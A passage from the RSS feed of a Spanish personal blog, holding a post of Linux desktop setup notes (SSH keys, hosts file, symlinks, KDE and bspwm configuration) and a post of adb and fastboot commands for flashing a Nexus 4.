&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">touch ~/.ssh/OpenSSH
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim ~/.ssh/OpenSSH &lt;span class="c1"># guardamos el contenido de la clave privada&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/OpenSSH &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-add ~/.ssh/OpenSSH &lt;span class="c1"># ponemos la contraseña y ya tenemos cargada la clave&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim ~/.ssh/authorized_keys &lt;span class="c1"># guardamos el contenido de la clave publica&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/authorized_keys &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">700&lt;/span> ~/.ssh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark3">Fichero hosts&lt;/h2>
&lt;p>&lt;code>vim /etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">127.0.0.1 localhost 4770K localhost4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">::1 localhost 4770K localhost6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.1 router
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.59 4770K
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.55 xiaomi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.71 rp3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.72 zero
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-de-aplicaciones-con-autoarranque">Configuración de aplicaciones con autoarranque&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">systemctl &lt;span class="nb">enable&lt;/span> sshd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#systemctl enable smb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#systemctl enable nmb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl disable firewalld.service &lt;span class="c1"># solo en el pc de casa&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header1">Configuración del entorno gráfico&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">DIRS&lt;/span>&lt;span class="o">=(&lt;/span> Documents Downloads Public Pictures Videos Templates Music Desktop &lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="nb">dirs&lt;/span> in &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nv">DIRS&lt;/span>&lt;span class="p">[@]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">test&lt;/span> &lt;span class="k">$(&lt;/span>ls &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span>/ &lt;span class="p">|&lt;/span> wc -l&lt;span class="k">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="m">0&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm -rf &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> ln -s /media/data/&lt;span class="nv">$dirs&lt;/span> &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">test&lt;/span> -d &lt;span class="nv">$HOME&lt;/span>/Programs &lt;span class="o">||&lt;/span> ln -s /media/data/Programs &lt;span class="nv">$HOME&lt;/span>/Programs
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Documents/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-documents&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Downloads/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-downloads&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Public/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-public&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Pictures/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-pictures&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Videos/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-videos&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Templates/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-templates&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Music/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-music&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/Desktop/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;desktop&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kwriteconfig5 --file &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$HOME&lt;/span>&lt;span class="s2">/scripts/.directory&amp;#34;&lt;/span> --group &lt;span class="s2">&amp;#34;Desktop Entry&amp;#34;&lt;/span> --key &lt;span class="s2">&amp;#34;Icon&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;folder-script&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-dolphin">Configuración dolphin&lt;/h2>
&lt;h3 id="configuración-de-vistas">Configuración de vistas&lt;/h3>
&lt;ol>
&lt;li>
&lt;p>Vamos a &lt;code>Control/Configurar las barras de herramientas&lt;/code>&lt;/p>
&lt;ul>
&lt;li>Abrir tereminal&lt;/li>
&lt;li>Archivos ocultos&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Vamos a &lt;code>Control/Ajustar las propiedades de vista&lt;/code>&lt;/p>
&lt;ul>
&lt;li>Ordenar por fecha Descendente&lt;/li>
&lt;li>Mostar archivos ocultos&lt;/li>
&lt;li>Aplicar a todas las carpetas&lt;/li>
&lt;li>Usar estas propiedades de vista como predeterminadas&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h3 id="configuración-de-accesos-directos">Configuración de accesos directos&lt;/h3>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/2017-03-31-acceos_directos_dolphin.png"
loading="lazy"
alt="Accesos directos dolphin"
>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ln -rs /mnt/WD_BLACK/Insync/pablojoserocamora@gmail.com/GoogleDrive ~/pablojoserocamora@gmail.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s ~/pablojoserocamora@gmail.com/scripts/ ~ &lt;span class="c1"># directorio de scripts&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s ~/pablojoserocamora@gmail.com/Musica/* ~/Music/ &lt;span class="c1"># Enlazo todos los discos&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="instalacion-de-bspwm">Instalacion de bspwm&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/custom_workspace.git ~/Documents/custom_workspace
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> ~/Documents/custom_workspace
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x custom_workspace.sh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./custom_workspace.sh all
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Uso de adb</title><link>https://www.procamora.com/p/uso-de-adb/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/uso-de-adb/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Uso de adb" />&lt;p>Para mostrar si tu dispositivo esta instalado&lt;/p>
&lt;p>&lt;code>adb devices&lt;/code>
&lt;code>fastboot devices&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Sino lo esta después de haber instalado los usb drivers desconectar y conectar y tendrás que aceptar el certificado&lt;/p>
&lt;/blockquote>
&lt;p>Para iniciar el modo bootloader
&lt;code>adb reboot bootloader&lt;/code>
&lt;code>fastboot reboot-bootloader&lt;/code>&lt;/p>
&lt;p>Iniciar el modo recovery
&lt;code>adb reboot recovery&lt;/code>&lt;/p>
&lt;p>Reiniciar el teléfono
&lt;code>fastboot reboot&lt;/code>
&lt;code>adb reboot&lt;/code>&lt;/p>
&lt;p>Bloquear y desbloquear el bootloader
&lt;code>fastboot oem unlock&lt;/code>
&lt;code>fastboot oem lock&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Precaución, elimina todo el contenido de nuestro dispositivo.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;code>fastboot flash bootloader bootloader-mako-makoz10l.img&lt;/code>
&lt;code>fastboot flash radio radio-mako-m9615a-cefwmazm-2.0.1700.33.img&lt;/code>
&lt;code>fastboot flash system system.img&lt;/code>
&lt;code>fastboot flash userdata userdata.img&lt;/code>
&lt;code>fastboot flash boot boot.img&lt;/code>
&lt;code>fastboot flash recovery recovery.img&lt;/code>
&lt;code>fastboot erase cache&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Acabo&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">actualizar&lt;/span> &lt;span class="n">mi&lt;/span> &lt;span class="n">Nexus&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="n">siguiendo&lt;/span> &lt;span class="n">los&lt;/span> &lt;span class="n">pasos&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">un&lt;/span> &lt;span class="n">post&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">XDA&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">forum&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">xda&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">developers&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">com&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">showthread&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">php&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">43918377&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Para&lt;/span> &lt;span class="n">poder&lt;/span> &lt;span class="n">actualizar&lt;/span> &lt;span class="nb">sin&lt;/span> &lt;span class="n">perder&lt;/span> &lt;span class="n">los&lt;/span> &lt;span class="n">datos&lt;/span> &lt;span class="n">hay&lt;/span> &lt;span class="n">que&lt;/span> &lt;span class="n">borrar&lt;/span> &lt;span class="n">el&lt;/span> &lt;span class="n">archivo&lt;/span> &lt;span class="s2">&amp;#34;userdata.img&amp;#34;&lt;/span> &lt;span class="n">dentro&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="s2">&amp;#34;image-***-***.zip&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span> &lt;span class="n">Os&lt;/span> &lt;span class="n">dejo&lt;/span> &lt;span class="n">el&lt;/span> &lt;span class="n">tutorial&lt;/span> &lt;span class="n">modificado&lt;/span> &lt;span class="n">para&lt;/span> &lt;span class="n">no&lt;/span> &lt;span class="n">perder&lt;/span> &lt;span class="n">datos&lt;/span> &lt;span class="n">y&lt;/span> &lt;span class="n">traducido&lt;/span> &lt;span class="n">para&lt;/span> &lt;span class="n">quien&lt;/span> &lt;span class="n">le&lt;/span> &lt;span class="n">interese&lt;/span> &lt;span class="n">y&lt;/span> &lt;span class="n">no&lt;/span> &lt;span class="n">sepa&lt;/span> &lt;span class="n">inglés&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">1.&lt;/span> &lt;span class="n">Descargar&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">imagen&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">fábrica&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">Android&lt;/span> &lt;span class="mf">4.3&lt;/span> &lt;span class="n">desde&lt;/span> &lt;span class="n">este&lt;/span> &lt;span class="n">enlace&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">https&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">developers&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">google&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">com&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">android&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nexus&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">images&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">2.&lt;/span> &lt;span class="n">Extraer&lt;/span> &lt;span class="n">los&lt;/span> &lt;span class="n">archivos&lt;/span> &lt;span class="n">con&lt;/span> &lt;span class="n">Winrar&lt;/span> &lt;span class="n">o&lt;/span> &lt;span class="n">similar&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">3.&lt;/span> &lt;span class="n">Abrir&lt;/span> &lt;span class="n">el&lt;/span> &lt;span class="n">archivo&lt;/span> &lt;span class="s2">&amp;#34;image-***-*****.zip&amp;#34;&lt;/span> &lt;span class="n">con&lt;/span> &lt;span class="n">Winrar&lt;/span> &lt;span class="n">y&lt;/span> &lt;span class="n">borrar&lt;/span> &lt;span class="n">el&lt;/span> &lt;span class="n">archivo&lt;/span> &lt;span class="s2">&amp;#34;userdata.img&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">4.&lt;/span> &lt;span class="n">Copiar&lt;/span> &lt;span class="n">todos&lt;/span> &lt;span class="n">los&lt;/span> &lt;span class="n">archivos&lt;/span> &lt;span class="n">extraídos&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">carpeta&lt;/span> &lt;span class="n">android&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sdk&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">platform&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">tools&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="n">o&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">carpeta&lt;/span> &lt;span class="n">donde&lt;/span> &lt;span class="n">tengas&lt;/span> &lt;span class="n">adb&lt;/span> &lt;span class="n">y&lt;/span> &lt;span class="n">fastboot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">5.&lt;/span> &lt;span class="n">Conectar&lt;/span> &lt;span class="n">tu&lt;/span> &lt;span class="n">Nexus&lt;/span> &lt;span class="n">por&lt;/span> &lt;span class="n">USB&lt;/span> &lt;span class="n">con&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">opción&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">Debug&lt;/span> &lt;span class="n">activada&lt;/span> &lt;span class="n">en&lt;/span> &lt;span class="n">las&lt;/span> &lt;span class="n">Opciones&lt;/span> &lt;span class="n">de&lt;/span> &lt;span class="n">desarrollo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span> &lt;span class="n">Ejecutar&lt;/span> &lt;span class="n">estos&lt;/span> &lt;span class="n">comandos&lt;/span> &lt;span class="n">por&lt;/span> &lt;span class="n">orden&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">adb&lt;/span> &lt;span class="n">reboot&lt;/span> &lt;span class="n">bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fastboot&lt;/span> &lt;span class="n">flash&lt;/span> &lt;span class="n">bootloader&lt;/span> &lt;span class="n">bootloader&lt;/span>&lt;span class="o">-***-***.&lt;/span>&lt;span class="n">img&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fastboot&lt;/span> &lt;span class="n">reboot&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fastboot&lt;/span> &lt;span class="n">flash&lt;/span> &lt;span class="n">radio&lt;/span> &lt;span class="n">radio&lt;/span>&lt;span class="o">-***-***.&lt;/span>&lt;span class="n">img&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fastboot&lt;/span> &lt;span class="n">reboot&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">6.&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fastboot&lt;/span> &lt;span class="n">update&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="o">-***-***.&lt;/span>&lt;span class="n">zip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PD&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Se&lt;/span> &lt;span class="n">que&lt;/span> &lt;span class="n">hay&lt;/span> &lt;span class="n">mucha&lt;/span> &lt;span class="n">gente&lt;/span> &lt;span class="n">que&lt;/span> &lt;span class="n">no&lt;/span> &lt;span class="n">sabe&lt;/span> &lt;span class="n">usar&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">consola&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">por&lt;/span> &lt;span class="n">miedo&lt;/span> &lt;span class="n">o&lt;/span> &lt;span class="n">porque&lt;/span> &lt;span class="n">nunca&lt;/span> &lt;span class="n">lo&lt;/span> &lt;span class="n">han&lt;/span> &lt;span class="n">probado&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">en&lt;/span> &lt;span class="n">ese&lt;/span> &lt;span class="n">caso&lt;/span> &lt;span class="n">recomiendo&lt;/span> &lt;span class="n">esperar&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">OTA&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PD2&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Si&lt;/span> &lt;span class="n">no&lt;/span> &lt;span class="n">tienes&lt;/span> &lt;span class="n">el&lt;/span> &lt;span class="n">bootloader&lt;/span> &lt;span class="n">desbloqueado&lt;/span> &lt;span class="n">es&lt;/span> &lt;span class="n">imposible&lt;/span> &lt;span class="n">actualizar&lt;/span> &lt;span class="n">manualmente&lt;/span> &lt;span class="nb">sin&lt;/span> &lt;span class="n">perder&lt;/span> &lt;span class="n">los&lt;/span> &lt;span class="n">datos&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">hay&lt;/span> &lt;span class="n">que&lt;/span> &lt;span class="n">esperar&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">OTA&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item></channel></rss>